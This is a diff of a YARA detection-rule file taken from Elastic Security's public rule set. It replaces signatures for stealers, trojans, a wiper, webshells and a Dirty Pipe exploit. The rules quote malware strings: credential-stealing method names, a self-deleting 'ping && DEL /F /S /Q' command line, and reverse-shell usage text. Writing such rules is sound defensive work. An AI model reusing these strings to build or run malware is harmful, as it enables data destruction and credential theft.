+		$a2 = "Passwords.txt" wide fullword
+		$a3 = "9Stealer.Recovery.FTP.FileZilla+<EnumerateCredentials>d__0" ascii fullword
+		$a4 = "/C chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A \"" wide fullword
+		$a5 = "citigroup.com" wide fullword
+		$a6 = "Password: {1}" wide fullword
+		$a7 = "set_steamLogin" ascii fullword
 
 	condition:
-		all of them
+		5 of them
 }
-rule ELASTIC_Windows_Hacktool_Cpulocker_73B41444 : FILE
+rule ELASTIC_Windows_Trojan_Jesterstealer_8F657F58 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Cpulocker (Windows.Hacktool.CpuLocker)"
+		description = "Detects Windows Trojan Jesterstealer (Windows.Trojan.JesterStealer)"
 		author = "Elastic Security"
-		id = "73b41444-4c17-4fea-b440-fe7b0a086a7f"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "8f657f58-57e0-4e5f-9223-00bfade16605"
+		date = "2022-02-28"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_CpuLocker.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dbfc90fa2c5dc57899cc75ccb9dc7b102cb4556509cdfecde75b36f602d7da66"
-		logic_hash = "8fb33744326781c51bb6bd18d0574602256b813b62ec8344d5338e6442bb2de0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_JesterStealer.yar#L27-L45"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "10c3846867f70dd26c5a54332ed22070c9e5e0e4f52f05fdae12ead801f7933b"
+		logic_hash = "20a0d8be9c25d50d4dddd455ecb9739f772f57e988855c7fc2df597b2f67585b"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "3f90517fbeafdccd37e4b8ab0316a91dd18a911cb1f4ffcd4686ab912a0feab4"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "aabf8633e853f623b75e8a354378d110442e724425f623b8c553d3522ca5dad6"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$str1 = "\\CPULocker.pdb"
+		$a1 = { 27 01 00 00 00 96 08 0B 80 79 01 6C 02 A4 27 01 00 00 00 96 08 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		all of them
 }
-rule ELASTIC_Linux_Backdoor_Tinyshell_67Ee6Fae : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Presenoker_3Bb5533D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Backdoor Tinyshell (Linux.Backdoor.Tinyshell)"
+		description = "Detects Linux Cryptominer Presenoker (Linux.Cryptominer.Presenoker)"
 		author = "Elastic Security"
-		id = "67ee6fae-304b-47f5-93b6-4086a864d433"
-		date = "2021-10-12"
-		modified = "2022-01-26"
+		id = "3bb5533d-4722-4801-9fbb-dd2c916cffc6"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Backdoor_Tinyshell.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9d2e25ec0208a55fba97ac70b23d3d3753e9b906b4546d1b14d8c92f8d8eb03d"
-		logic_hash = "200d4267e21b8934deecc48273294f2e34464fcb412e39f3f5a006278631b9f1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Presenoker.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bbc155c610c7aa439f98e32f97895d7eeaef06dab7cca05a5179b0eb3ba3cc00"
+		logic_hash = "13bf69ea6bc7df5ba9ebffe67234657f2ecab99e28fd76d0bbedceaf9706a4dd"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f71ce364fb607ee6f4422864674ae3d053453b488c139679aa485466893c563d"
+		fingerprint = "a3005a07901953ae8def7bd9d9ec96874da0a8aedbebde536504abed9d4191fd"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -67671,31 +71686,28 @@ rule ELASTIC_Linux_Backdoor_Tinyshell_67Ee6Fae : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a1 = "Usage: %s [ -c [ connect_back_host ] ] [ -s secret ] [ -p port ]" fullword
-		$a2 = "s:p:c::" fullword
-		$b1 = "Usage: %s [ -s secret ] [ -p port ] [command]" fullword
-		$b2 = "<hostname|cb> get <source-file> <dest-dir>" fullword
+		$a = { 47 10 74 72 F3 0F 6F 00 66 0F 7E C2 0F 29 04 24 85 D2 F3 0F 6F }
 
 	condition:
-		( all of ($a*)) or ( all of ($b*))
+		all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2022_0847_E831C285 : FILE MEMORY CVE_2022_0847
+rule ELASTIC_Linux_Trojan_Shellbot_65Aa6568 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2022 0847 (Linux.Exploit.CVE-2022-0847)"
+		description = "Detects Linux Trojan Shellbot (Linux.Trojan.Shellbot)"
 		author = "Elastic Security"
-		id = "e831c285-b2b9-49f3-a87c-3deb806e31e4"
-		date = "2022-03-10"
-		modified = "2022-03-14"
+		id = "65aa6568-491a-4a51-b921-c6c228cfca11"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2022_0847.yar#L1-L27"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c6b2cef2f2bc04e3ae33e0d368eb39eb5ea38d1bca390df47f7096117c1aecca"
-		logic_hash = "e15daf5de9bf66060e373a6e772669eade543ed56bef6b6924a0ee44e59522e1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Shellbot.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "457d1f4e1db41a9bdbfad78a6815f42e45da16ad0252673b9a2b5dcefc02c47b"
+		logic_hash = "46558801151ddc2f25bf46a278719f027acca2a18d2a9fcb275f4d787fbb1f0b"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY, CVE-2022-0847"
-		fingerprint = "376b791f9bb5f48d0f41ead4e48b5bcc74cb68002bb7c170760428ace169457e"
+		tags = "FILE, MEMORY"
+		fingerprint = "2cd606ecaf17322788a5ee3b6bd663bed376cef131e768bbf623c402664e9270"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -67703,65 +71715,95 @@ rule ELASTIC_Linux_Exploit_CVE_2022_0847_E831C285 : FILE MEMORY CVE_2022_0847
 		os = "linux"
 
 	strings:
-		$pp = "prepare_pipe"
-		$s1 = "splice failed"
-		$s2 = "short splice"
-		$s3 = "short write"
-		$s4 = "hijacking suid binary"
-		$s5 = "Usage: %s TARGETFILE OFFSET DATA"
-		$s6 = "Usage: %s SUID"
-		$bs1 = { B8 00 10 00 00 81 7D EC 00 10 00 00 0F 46 45 EC 89 45 FC 8B 55 FC 48 8B 45 D8 48 83 C0 04 8B 00 48 8D 35 }
-		$bs2 = { B8 00 10 00 00 81 7D F0 00 10 00 00 0F 46 45 F0 89 45 F8 8B 55 F8 48 8B 45 D8 8B 00 48 }
+		$a = { 72 00 73 74 72 63 6D 70 00 70 61 6D 5F 70 72 6F 6D 70 74 00 }
 
 	condition:
-		($pp and 2 of ($s*)) or ( all of ($bs*))
+		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Miancha_646803Ef : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Agenttesla_D3Ac2B2F : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Miancha (Linux.Cryptominer.Miancha)"
+		description = "Detects Windows Trojan Agenttesla (Windows.Trojan.AgentTesla)"
 		author = "Elastic Security"
-		id = "646803ef-e8a5-46e2-94a5-dcc6cb41cead"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Miancha.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4c7761c9376ed065887dc6ce852491641419eb2d1f393c37ed0a5cb29bd108d4"
-		logic_hash = "8fd386c0e7037565e8ab206642cc8c11f05ca727b365b94ffdd991f4bed95556"
+		id = "d3ac2b2f-14fc-4851-8a57-41032e386aeb"
+		date = "2021-03-22"
+		modified = "2022-06-20"
+		reference = "https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_AgentTesla.yar#L1-L58"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4"
+		logic_hash = "9c13a99107593d476de1522ced10aa43d34535b844e8c3ae871b22358137c926"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "b22f87b60c19855c3ac622bc557655915441f5e12c7d7c27c51c05e12c743ee5"
+		fingerprint = "cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 6F DC 66 0F 73 FB 04 66 0F EF C1 66 0F 6F D3 66 0F EF C7 66 0F 6F }
+		$a1 = "GetMozillaFromLogins" ascii fullword
+		$a2 = "AccountConfiguration+username" wide fullword
+		$a3 = "MailAccountConfiguration" ascii fullword
+		$a4 = "KillTorProcess" ascii fullword
+		$a5 = "SmtpAccountConfiguration" ascii fullword
+		$a6 = "GetMozillaFromSQLite" ascii fullword
+		$a7 = "Proxy-Agent: HToS5x" wide fullword
+		$a8 = "set_BindingAccountConfiguration" ascii fullword
+		$a9 = "doUsernamePasswordAuth" ascii fullword
+		$a10 = "SafariDecryptor" ascii fullword
+		$a11 = "get_securityProfile" ascii fullword
+		$a12 = "get_useSeparateFolderTree" ascii fullword
+		$a13 = "get_DnsResolver" ascii fullword
+		$a14 = "get_archivingScope" ascii fullword
+		$a15 = "get_providerName" ascii fullword
+		$a16 = "get_ClipboardHook" ascii fullword
+		$a17 = "get_priority" ascii fullword
+		$a18 = "get_advancedParameters" ascii fullword
+		$a19 = "get_disabledByRestriction" ascii fullword
+		$a20 = "get_LastAccessed" ascii fullword
+		$a21 = "get_avatarType" ascii fullword
+		$a22 = "get_signaturePresets" ascii fullword
+		$a23 = "get_enableLog" ascii fullword
+		$a24 = "TelegramLog" ascii fullword
+		$a25 = "generateKeyV75" ascii fullword
+		$a26 = "set_accountName" ascii fullword
+		$a27 = "set_InternalServerPort" ascii fullword
+		$a28 = "set_bindingConfigurationUID" ascii fullword
+		$a29 = "set_IdnAddress" ascii fullword
+		$a30 = "set_GuidMasterKey" ascii fullword
+		$a31 = "set_username" ascii fullword
+		$a32 = "set_version" ascii fullword
+		$a33 = "get_Clipboard" ascii fullword
+		$a34 = "get_Keyboard" ascii fullword
+		$a35 = "get_ShiftKeyDown" ascii fullword
+		$a36 = "get_AltKeyDown" ascii fullword
+		$a37 = "get_Password" ascii fullword
+		$a38 = "get_PasswordHash" ascii fullword
+		$a39 = "get_DefaultCredentials" ascii fullword
 
 	condition:
-		all of them
+		8 of ($a*)
 }
-rule ELASTIC_Windows_Trojan_Formbook_1112E116 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Agenttesla_E577E17E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Formbook (Windows.Trojan.Formbook)"
+		description = "Detects Windows Trojan Agenttesla (Windows.Trojan.AgentTesla)"
 		author = "Elastic Security"
-		id = "1112e116-dee0-4818-a41f-ca5c1c41b4b8"
-		date = "2021-06-14"
-		modified = "2021-08-23"
-		reference = "https://www.elastic.co/security-labs/formbook-adopts-cab-less-approach"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Formbook.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a"
-		logic_hash = "ec307a8681fa01fc0c7c0579b0e3eff10e7f373159ad58dae0a358ff16fbc10b"
+		id = "e577e17e-5c42-4431-8c2d-0c1153128226"
+		date = "2022-03-11"
+		modified = "2022-04-12"
+		reference = "https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_AgentTesla.yar#L60-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ed43ddb536e6c3f8513213cd6eb2e890b73e26d5543c0ba1deb2690b5c0385b6"
+		logic_hash = "84c5f1096735cee0f0f4ad41a81286c0a60dc17c276f23568b855271d996c8a2"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134"
+		fingerprint = "009cb27295a1aa0dde84d29ee49b8fa2e7a6cec75eccb7534fec3f5c89395a9d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -67769,30 +71811,28 @@ rule ELASTIC_Windows_Trojan_Formbook_1112E116 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 3C 30 50 4F 53 54 74 09 40 }
-		$a2 = { 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 }
-		$a3 = { 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 }
-		$a4 = { 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83 }
+		$a = { 20 4D 27 00 00 33 DB 19 0B 00 07 17 FE 01 2C 02 18 0B 00 07 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Formbook_772Cc62D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Agenttesla_F2A90D14 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Formbook (Windows.Trojan.Formbook)"
+		description = "Detects Windows Trojan Agenttesla (Windows.Trojan.AgentTesla)"
 		author = "Elastic Security"
-		id = "772cc62d-345c-42d8-97ab-f67e447ddca4"
-		date = "2022-05-23"
-		modified = "2022-07-18"
-		reference = "https://www.elastic.co/security-labs/formbook-adopts-cab-less-approach"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Formbook.yar#L25-L46"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "db9ab8df029856fc1c210499ed8e1b92c9722f7aa2264363670c47b51ec8fa83"
+		id = "f2a90d14-7212-41a5-a2cd-a6a6dedce96e"
+		date = "2022-03-11"
+		modified = "2022-04-12"
+		reference = "https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_AgentTesla.yar#L81-L100"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ed43ddb536e6c3f8513213cd6eb2e890b73e26d5543c0ba1deb2690b5c0385b6"
+		logic_hash = "3f39b773f2b1524b05d3c1d9aa1fb54594ec9003d2e9da342b6d17ba885f5a03"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3d732c989df085aefa1a93b38a3c078f9f0c3ee214292f6c1e31a9fc1c9ae50e"
+		fingerprint = "829c827069846ba1e1378aba8ee6cdc801631d769dc3dce15ccaacd4068a88a6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -67800,31 +71840,28 @@ rule ELASTIC_Windows_Trojan_Formbook_772Cc62D : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko"
-		$a2 = "signin"
-		$a3 = "persistent"
-		$r1 = /.\:\\Users\\[^\\]{1,50}\\AppData\\Roaming\\[a-zA-Z0-9]{8}\\[a-zA-Z0-9]{3}log\.ini/ wide
+		$a = { 0B FE 01 2C 0B 07 16 7E 08 00 00 04 A2 1F 0C 0C 00 08 1F 09 FE 01 }
 
 	condition:
-		2 of ($a*) and $r1
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Formbook_5799D1F2 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Agenttesla_A2D69E48 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Formbook (Windows.Trojan.Formbook)"
+		description = "Detects Windows Trojan Agenttesla (Windows.Trojan.AgentTesla)"
 		author = "Elastic Security"
-		id = "5799d1f2-4d4f-49d6-b010-67d2fbc04824"
-		date = "2022-06-08"
-		modified = "2022-09-29"
-		reference = "https://www.elastic.co/security-labs/formbook-adopts-cab-less-approach"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Formbook.yar#L48-L67"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8555a6d313cb17f958fc2e08d6c042aaff9ceda967f8598ac65ab6333d14efd9"
-		logic_hash = "8e61eabd11beb9fb35c016983cfb3085f5ceddfc8268522f3b48d20be5b5df6a"
+		id = "a2d69e48-b114-4128-8c2f-6fabee49e152"
+		date = "2023-05-01"
+		modified = "2023-06-13"
+		reference = "https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_AgentTesla.yar#L102-L122"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "edef51e59d10993155104d90fcd80175daa5ade63fec260e3272f17b237a6f44"
+		logic_hash = "1f90be86b7afa7f518a3dcec55028bfc915cf6d4fed1350a56e351946cc55f41"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b262c4223e90c539c73831f7f833d25fe938eaecb77ca6d2e93add6f93e7d75d"
+		fingerprint = "bd46dd911aadf8691516a77f3f4f040e6790f36647b5293050ecb8c25da31729"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -67832,28 +71869,29 @@ rule ELASTIC_Windows_Trojan_Formbook_5799D1F2 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { E9 C5 9C FF FF C3 E8 00 00 00 00 58 C3 68 }
+		$a1 = { 00 03 08 08 10 08 10 18 09 00 04 08 18 08 10 08 10 18 0E 00 08 }
+		$a2 = { 00 06 17 5F 16 FE 01 16 FE 01 2A 00 03 30 03 00 B1 00 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Wiper_Hermeticwiper_7206A969 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Agenttesla_Ebf431A8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Wiper Hermeticwiper (Windows.Wiper.HermeticWiper)"
+		description = "Detects Windows Trojan Agenttesla (Windows.Trojan.AgentTesla)"
 		author = "Elastic Security"
-		id = "7206a969-bbd6-4c2d-a19d-380b71a4ab08"
-		date = "2022-02-24"
-		modified = "2022-02-24"
-		reference = "https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Wiper_HermeticWiper.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
-		logic_hash = "84c61b8223a6ebf1ccfa4fdccee3c9091abca4553e55ac6c2492cff5503b4774"
+		id = "ebf431a8-45e8-416c-a355-4ac1db2d133a"
+		date = "2023-12-01"
+		modified = "2024-01-12"
+		reference = "https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_AgentTesla.yar#L124-L148"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0cb3051a80a0515ce715b71fdf64abebfb8c71b9814903cb9abcf16c0403f62b"
+		logic_hash = "b02d6e2d68b336aaa37336e0c0c3ffa6c7a126bfcdb6cb6ad5a3432004c6030c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e3486c785f99f4376d4161704afcaf61e8a5ab6101463a76d134469f8a5581bf"
+		fingerprint = "2d95dbe502421d862eee33ba819b41cb39cf77a44289f4de4a506cad22f3fddb"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -67861,33 +71899,33 @@ rule ELASTIC_Windows_Wiper_Hermeticwiper_7206A969 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "\\\\?\\C:\\Windows\\System32\\winevt\\Logs" wide fullword
-		$a2 = "\\\\.\\EPMNTDRV\\%u" wide fullword
-		$a3 = "tdrv.pdb" ascii fullword
-		$a4 = "%s%.2s" wide fullword
-		$a5 = "ccessdri" ascii fullword
-		$a6 = "Hermetica Digital"
+		$a1 = "MozillaBrowserList"
+		$a2 = "EnableScreenLogger"
+		$a3 = "VaultGetItem_WIN7"
+		$a4 = "PublicIpAddressGrab"
+		$a5 = "EnableTorPanel"
+		$a6 = "get_GuidMasterKey"
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Linux_Webshell_Generic_E80Ff633 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Connectback_Bf194C93 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Webshell Generic (Linux.Webshell.Generic)"
+		description = "Detects Linux Trojan Connectback (Linux.Trojan.Connectback)"
 		author = "Elastic Security"
-		id = "e80ff633-990e-4e2e-ac80-2e61685ab8b0"
+		id = "bf194c93-92d8-4eba-99c4-326a5ea76d0d"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Webshell_Generic.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7640ba6f2417931ef901044152d5bfe1b266219d13b5983d92ddbdf644de5818"
-		logic_hash = "d345e6ce3e51ed55064aafb1709e9bee7ef2ce87ec80165ac1b58eebd83cefee"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Connectback.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6784cb86460bddf1226f71f5f5361463cbda487f813d19cd88e8a4a1eb1a417b"
+		logic_hash = "148626e05caee4a2b2542726ea4e4dab074eeab0572a65fdbd32f5d96544daf8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dcca52dce2d50b0aa6cf0132348ce9dc234b985ae683b896d9971d409f109849"
+		fingerprint = "6e72b14be0a0a6e42813fa82ee77d057246ccba4774897b38acf2dc30c894023"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -67895,85 +71933,93 @@ rule ELASTIC_Linux_Webshell_Generic_E80Ff633 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 24 A8 00 00 00 89 1C 24 83 3C 24 00 74 23 83 04 24 24 8D B4 24 AC 00 }
+		$a = { B6 0C B0 03 CD 80 85 C0 78 02 FF E1 B8 01 00 00 00 BB 01 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Webshell_Generic_41A5Fa40 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Onlylogger_B9E88336 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Webshell Generic (Linux.Webshell.Generic)"
+		description = "Detects Windows Trojan Onlylogger (Windows.Trojan.OnlyLogger)"
 		author = "Elastic Security"
-		id = "41a5fa40-a4e7-4c97-a3b9-3700743265df"
-		date = "2021-06-28"
-		modified = "2021-09-16"
-		reference = "18ac7fbc3d8d3bb8581139a20a7fee8ea5b7fcfea4a9373e3d22c71bae3c9de0"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Webshell_Generic.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "574148bc58626aac00add1989c65ad56315c7e2a8d27c7b96be404d831a7a576"
+		id = "b9e88336-9719-4f43-afc9-b0e6c7d72b6f"
+		date = "2022-03-22"
+		modified = "2022-04-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_OnlyLogger.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "69876ee4d89ba68ee86f1a4eaf0a7cb51a012752e14c952a177cd5ffd8190986"
+		logic_hash = "b8d1c4c1e33fc0b54a62f82b8f53c9a1b051ad8c2f578d2a43f504158d1d9247"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "49e0d55579453ec37c6757ddb16143d8e86ad7c7c4634487a1bd2215cd22df83"
-		severity = "100"
+		fingerprint = "5c8c98b250252d178c8dbad60bf398489d9396968e33b3e004219a4f323eeed8"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 5A 46 55 6C 73 6E 55 6B 56 52 56 55 56 54 56 46 39 56 55 6B 6B }
+		$a1 = "C:\\Users\\Ddani\\source\\repos\\onlyLogger\\Release\\onlyLogger.pdb" ascii fullword
+		$b1 = "iplogger.org" ascii fullword
+		$b2 = "NOT elevated" ascii fullword
+		$b3 = "WinHttpSendRequest" ascii fullword
 
 	condition:
-		all of them
+		1 of ($a*) or all of ($b*)
 }
-rule ELASTIC_Linux_Trojan_Snowlight_F5C83D35 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Onlylogger_Ec14D5F2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Snowlight (Linux.Trojan.Snowlight)"
+		description = "Detects Windows Trojan Onlylogger (Windows.Trojan.OnlyLogger)"
 		author = "Elastic Security"
-		id = "f5c83d35-aaa5-4356-b4e7-93dc19c0c6b1"
-		date = "2024-05-16"
-		modified = "2024-06-12"
-		reference = "https://www.mandiant.com/resources/blog/initial-access-brokers-exploit-f5-screenconnect"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Snowlight.yar#L1-L20"
